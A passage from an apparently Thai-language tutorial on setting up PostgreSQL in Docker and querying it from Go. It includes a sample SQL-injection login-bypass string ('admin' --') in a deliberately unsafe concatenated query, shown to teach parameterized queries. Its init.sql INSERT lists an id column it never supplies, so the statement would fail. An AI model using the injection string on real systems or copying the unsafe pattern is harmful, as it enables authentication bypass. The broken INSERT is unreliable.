&#x2502;   &#x251C;&#x2500;&#x2500; Dockerfile
&#x2502;   &#x2514;&#x2500;&#x2500; init.sql
&#x2514;&#x2500;&#x2500; docker-compose.yml</code></pre><figure class="kg-card kg-code-card"><pre><code>services:
  db:
    build: ./docker
    container_name: bookstore_postgres
    environment:
      POSTGRES_DB: ${POSTGRES_DB}
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    volumes:
      - postgres_data:/var/lib/postgresql/data
    ports:
      - &quot;${POSTGRES_PORT}:5432&quot;
    restart: unless-stopped

  pgadmin:
    image: dpage/pgadmin4
    container_name: bookstore_pgadmin
    environment:
      PGADMIN_DEFAULT_EMAIL: ${PGADMIN_DEFAULT_EMAIL}
      PGADMIN_DEFAULT_PASSWORD: ${PGADMIN_DEFAULT_PASSWORD}
    volumes:
      - pgadmin_data:/var/lib/pgadmin
    ports:
      - &quot;${PGADMIN_PORT}:80&quot;
    restart: unless-stopped
    depends_on:
      - db

volumes:
  postgres_data:
  pgadmin_data:</code></pre><figcaption>docker-compose.yml</figcaption></figure><figure class="kg-card kg-code-card"><pre><code># PostgreSQL Environment Variables
POSTGRES_DB=bookstore
POSTGRES_USER=bookstore_user
POSTGRES_PASSWORD=your_strong_password
POSTGRES_PORT=5432

# pgAdmin Environment Variables
PGADMIN_DEFAULT_EMAIL=nuttachot@hotmail.com
PGADMIN_DEFAULT_PASSWORD=password
PGADMIN_PORT=5050</code></pre><figcaption>.env</figcaption></figure><figure class="kg-card kg-code-card"><pre><code># Dockerfile
FROM postgres:17-alpine

# Copy initialization scripts
COPY init.sql /docker-entrypoint-initdb.d/

# Set locale (optional)
ENV LANG en_US.utf8</code></pre><figcaption>Dockerfile</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE15;&#xE32;&#xE23;&#xE32;&#xE07; books
CREATE TABLE books (
	id SERIAL PRIMARY KEY,
	title VARCHAR(255) NOT NULL,
	author VARCHAR(255),
	isbn VARCHAR(50),
	year INTEGER,
	price DECIMAL(10,2),
	created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP,
	updated_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP
);

-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; function &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17; updated_at &#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;
CREATE OR REPLACE FUNCTION update_modified_column()
RETURNS TRIGGER AS $$
BEGIN
    NEW.updated_at = now();
    RETURN NEW;
END;
$$ language &apos;plpgsql&apos;;

-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; trigger &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; function update_modified_column
CREATE TRIGGER update_books_modtime
BEFORE UPDATE ON books
FOR EACH ROW
EXECUTE FUNCTION update_modified_column();

-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; index &#xE1A;&#xE19; title &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;
CREATE INDEX idx_books_title ON books(title);

-- &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;
INSERT INTO books (id, title, author, isbn, year, price) VALUES
    (&apos;Fundamental of Deep Learning in Practice&apos;, &apos;Nuttachot Promrit and Sajjaporn Waijanya&apos;, &apos;978-1234567890&apos;, 2023, 599.00),
    (&apos;Practical DevOps and Cloud Engineering&apos;, &apos;Nuttachot Promrit&apos;, &apos;978-0987654321&apos;, 2024, 500.00),
    (&apos;Mastering Golang for E-commerce Back End Development&apos;, &apos;Nuttachot Promrit&apos;, &apos;978-1111222233&apos;, 2023, 450.00);</code></pre><figcaption>init.sql</figcaption></figure><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; PostgreSQL &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; docker-compose up -d</p><pre><code>docker-compose up -d</code></pre><p>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Container &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; docker-compose ps</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-24-at-12.48.56.png" class="kg-image" alt loading="lazy" width="2000" height="1365" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-24-at-12.48.56.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-24-at-12.48.56.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-24-at-12.48.56.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-24-at-12.48.56.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; PostgreSQL Driver</p><pre><code>go get github.com/lib/pq</code></pre><p>Import Package &quot;database/sql&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; SQL Database &#xE41;&#xE25;&#xE30; Package &quot;<strong>github.com/lib/pq</strong>&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; <strong>Driver &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; PostgreSQL </strong>&#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; Package &quot;fmt&quot;</p><pre><code>import (
    &quot;database/sql&quot;
    &quot;fmt&quot;
    _ &quot;github.com/lib/pq&quot;
)</code></pre><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE2B;&#xE21;&#xE32;&#xE22; _ &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Package &#xE19;&#xE35;&#xE49;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE43;&#xE19; Code &#xE41;&#xE15;&#xE48;&#xE40;&#xE23;&#xE32;&#xE22;&#xE31;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Function &quot;init()&quot; &#xE02;&#xE2D;&#xE07; Package</p><p>&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; Interface &quot;BookDatabase&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE27;&#xE48;&#xE32;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Method &quot;GetBook()&quot;, &quot;AddBook()&quot;, &quot;DeleteBook()&quot; &#xE41;&#xE25;&#xE30; &quot;Close()&quot; &#xE21;&#xE31;&#xE19;&#xE04;&#xE37;&#xE2D; BookDatabase</p><pre><code>type BookDatabase interface {
    GetBook(id int) (string, error)
    AddBook(title string) error
    DeleteBook(id int) error
    Close() error
}</code></pre><p>&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; PostgresDatabase &#xE40;&#xE1B;&#xE47;&#xE19; struct &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; PostgreSQL Database &#xE08;&#xE23;&#xE34;&#xE07;</p><pre><code>type PostgresDatabase struct {
    db *sql.DB
}</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Function <code>NewPostgresDatabase</code> &#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; PostgreSQL &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Connection String &#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE32; &#xE41;&#xE25;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE14;&#xE49;&#xE27;&#xE22; Ping()</p><pre><code>func NewPostgresDatabase(connStr string) (*PostgresDatabase, error) {
    db, err := sql.Open(&quot;postgres&quot;, connStr)
    if err != nil {
        return nil, fmt.Errorf(&quot;failed to connect to database: %v&quot;, err)
    }
    
    err = db.Ping()
    if err != nil {
        return nil, fmt.Errorf(&quot;failed to ping database: %v&quot;, err)
    }
    
    return &amp;PostgresDatabase{db: db}, nil
}</code></pre><p>Implement Method &#xE02;&#xE2D;&#xE07; BookDatabase Interface</p><p><strong>GetBook</strong><br>Method &quot;GetBook()&quot; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; PostgresDatabase struct &#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE14;&#xE36;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE08;&#xE32;&#xE01; Database &#xE14;&#xE49;&#xE27;&#xE22; Parameterized Query &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Parameter &#xE40;&#xE1B;&#xE47;&#xE19; id &#xE41;&#xE25;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; string (&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;) &#xE41;&#xE25;&#xE30; error</p><p>Prepared Statement &#xE41;&#xE25;&#xE30; Parameterized Query &#xE43;&#xE19; Go &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19; <a href="https://owasp.org/Top10/A03_2021-Injection/?ref=blog.pjjop.org">SQL Injection</a> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE42;&#xE08;&#xE21;&#xE15;&#xE35;&#xE0A;&#xE48;&#xE2D;&#xE07;&#xE42;&#xE2B;&#xE27;&#xE48;&#xE14;&#xE49;&#xE32;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE31;&#xE19;&#xE15;&#xE23;&#xE32;&#xE22;</p><figure class="kg-card kg-code-card"><pre><code>// &#xE41;&#xE1A;&#xE1A;&#xE44;&#xE21;&#xE48;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;
username := &quot;admin&apos; --&quot;
query := &quot;SELECT * FROM users WHERE username = &apos;&quot; + username + &quot;&apos; AND password = &apos;password&apos;&quot;

// SELECT * FROM users WHERE username = &apos;admin&apos; --&apos; AND password = &apos;password&apos;</code></pre><figcaption>SQL Injection</figcaption></figure><p>Prepared Statement &#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; SQL &#xE44;&#xE27;&#xE49;&#xE25;&#xE48;&#xE27;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE41;&#xE22;&#xE01;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE41;&#xE17;&#xE23;&#xE01; Parameter &#xE43;&#xE19; Query &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; SQL &#xE40;&#xE14;&#xE34;&#xE21;&#xE0B;&#xE49;&#xE33; &#xE46; &#xE14;&#xE49;&#xE27;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19; &#xE01;&#xE32;&#xE23;&#xE41;&#xE22;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE41;&#xE17;&#xE23;&#xE01; Parameter &#xE43;&#xE19; Query &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE39;&#xE49;&#xE27;&#xE48;&#xE32;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE44;&#xE21;&#xE48;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE2A;&#xE48;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE21;&#xE32; &#xE01;&#xE47;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE21;&#xE2D;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE2A;&#xE21;&#xE2D; &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;</p><figure class="kg-card kg-code-card"><pre><code>// &#xE41;&#xE1A;&#xE1A;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE43;&#xE0A;&#xE49; Prepared Statement
stmt, err := db.Prepare(&quot;SELECT * FROM users WHERE username = $1 AND password = $2&quot;)
if err != nil {
    return fmt.Errorf(&quot;failed to prepare statement: %v&quot;, err)
}
defer stmt.Close() // &#xE1B;&#xE34;&#xE14; stmt &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE37;&#xE19;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;

rows, err := stmt.Query(&quot;admin&quot;, &quot;password&quot;)</code></pre><figcaption>Prepared Statement</figcaption></figure><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &quot;<strong>--</strong>&quot; &#xE43;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32; SQL &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23; Comment &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;&#xE02;&#xE2D;&#xE07; Query &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE25;&#xE30;&#xE40;&#xE27;&#xE49;&#xE19; &#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE19;&#xE35;&#xE49;&#xE08;&#xE36;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; username &#xE40;&#xE1B;&#xE47;&#xE19; &apos;admin&apos; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE1C;&#xE48;&#xE32;&#xE19; &#xE16;&#xE49;&#xE32;&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE19;&#xE35;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE31;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23; Login &#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; &#xE01;&#xE47;&#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Hacker &#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE43;&#xE19;&#xE10;&#xE32;&#xE19;&#xE30; Admin &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE39;&#xE49;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE1C;&#xE48;&#xE32;&#xE19;</p><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Prepared Statement &#xE44;&#xE21;&#xE48;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE41;&#xE15;&#xE48;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; SQL &#xE40;&#xE14;&#xE34;&#xE21;&#xE0B;&#xE49;&#xE33; &#xE46; &#xE14;&#xE49;&#xE27;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&#xE22;&#xE31;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19; SQL Injection &#xE2D;&#xE35;&#xE01;&#xE14;&#xE49;&#xE27;&#xE22;</p><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE01;&#xE32;&#xE23;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21; Statement &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Function &#xE2D;&#xE32;&#xE08;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE40;&#xE17;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE04;&#xE27;&#xE23; &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Prepare &#xE41;&#xE25;&#xE30; Close &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07; &#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE01;&#xE27;&#xE48;&#xE32;&#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21; Statement &#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE0B;&#xE49;&#xE33; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Code &#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32;</p><p>&#xE43;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE27;&#xE34;&#xE18;&#xE35; Parameterized Query &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21; Statement &#xE25;&#xE48;&#xE27;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22; <strong>QueryRow()</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE27;&#xE48;&#xE32; <strong>&#xE08;&#xE30;&#xE21;&#xE35;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE41;&#xE16;&#xE27;</strong> &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22; Primary Key &#xE41;&#xE15;&#xE48;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19; SQL Injection &#xE44;&#xE14;&#xE49;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE14;&#xE34;&#xE21;</p><p>QueryRow() &#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A; <strong>.Scan()</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE34;&#xE14; (Close)</p><pre><code>err := pdb.db.QueryRow(&quot;SELECT title FROM books WHERE id = $1&quot;, id).Scan(&amp;title)</code></pre><p>&quot;SELECT title FROM books WHERE id = $1&quot; &#xE04;&#xE37;&#xE2D;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; SQL &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE42;&#xE14;&#xE22; &#xA0;<strong>$1</strong> &#xA0;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE17;&#xE19; (<strong>Placeholder</strong>) &#xE02;&#xE2D;&#xE07;&#xE04;&#xE48;&#xE32; Parameter &#xE15;&#xE31;&#xE27;&#xE41;&#xE23;&#xE01;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B; &#xE41;&#xE25;&#xE30; <strong>, id </strong>&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32; id &#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48; <strong>$1</strong> &#xE43;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; SQL</p><p>&#xE2A;&#xE31;&#xE0D;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE4C; Placeholder &#xE02;&#xE2D;&#xE07; PostgreSQL &#xE04;&#xE37;&#xE2D; $1, $2, ... &#xE0B;&#xE36;&#xE48;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Driver &#xE2D;&#xE32;&#xE08;&#xE08;&#xE30;&#xE21;&#xE35;&#xE2A;&#xE31;&#xE0D;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19;</p><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE08;&#xE32;&#xE01; Database &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Scan() 